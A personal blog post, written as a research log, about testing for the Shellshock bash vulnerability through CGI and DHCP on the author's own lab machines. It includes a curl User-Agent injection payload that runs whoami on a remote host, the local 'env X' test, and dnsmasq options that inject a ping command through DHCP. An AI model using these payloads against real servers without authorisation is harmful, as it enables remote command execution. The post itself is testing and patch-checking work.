ShellShock – part 2

Wohoo, the bug has got a fancy name!
This is my second part of doing research on the shellshock bug, this will be a continues updated post, that will be kind of working log for me.


Doing research on the CGI-part,
There must be an easy way to check, what about curl? Oh yes, somebody has already done the work.

 curl -A “() { foo;};echo;/usr/bin/whoami” http://$host/$url

If you get a name, and not the normal output, your busted…


Test your system:

There has be some confusion about abnormal output from the “env X test”, some are using /bin/sh, witch will work if /bin/sh is point to bash, but that’s not allways true, the be sure, find bash executable, and place it in a variable, and use that variable to run the env X test.

bash_shell=`whereis bash|awk -F ” ” ‘{print $2}’`
env X=”() { :;} ; echo Vulnerable” $bash_shell

If the first command gives you “bash: whereis: command not found”, well if you do not have bash, your not vulnerable.
If the second command gives you:

root@shellshock:/$ bash_shell=`whereis bash|awk -F ” ” ‘{print $2}’`
root@shellshock:/$ env X=”() { :;} ; echo Vulnerable” $bash_shell

You have a problem…

But if you get

root@shellshock-patched:~# bash_shell=`whereis bash|awk -F ” ” ‘{print $2}’`
root@shellshock-patched:~# env X=”() { :;} ; echo busted” $bash_shell
bash: warning: X: ignoring function definition attempt
bash: error importing function definition for `X’

Your bash has been patched… 🙂



Took me some time to get around testing this one, looks like somebody have successfully done it..
Trustedsec – DHCP POC, This prove that it’s possible, but how easy is it?

Rocking up a DHCP server on one of my machine, first I tried the ever trusted `isc-dhcp-server`, this one didn’t allow me to set my exploit code.. let’s try another one. dnsmasq, here we go!


domain=() { ignored;}; ping
dhcp-option=114,() { ignored;}; ping is a Kali host, witch I’m running `tcpdump -vv icmp` on, so if some of the host I’m testing, I should get a icmp ping on my Kali box.

Since my ubuntu host automagically  updated it self, that one is not vulnerable anymore, but my Debian host should be good to go…

dhcpclient -r eth1

Listening on LPF/eth1/00:0c:29:63:f4:0d
Sending on LPF/eth1/00:0c:29:63:f4:0d
Sending on Socket/fallback
DHCPREQUEST on eth1 to port 67
suspect value in domain_name option – discarded
RTNETLINK answers: File exists
bound to — renewal in 1746 seconds.

Crap, my debian host is kind of nice enough to filter on “suspect values”….

So what about my MAC then? well no luck there either, but this looks kinda funny!


Okey, so I had to test a couple of other system too.. I’ve got a Sonos, and a Samsung Smart TV, no luck there either.. And Raspberry Pi, but that is running on debian, so that is not that surprising… Also Unifi Access points, that are running Busybox, are all safe.. BusyBox is running Built-in-shelll (ash), an last time I check, that’s not BASH. 😛

So my conclusion for now is, if your not running cgi bash script on a webserver, your probably safe (for now), but you should update as soon as an patch is ready for you system, there are still a lot of “unknowns” yet…

Leave a Comments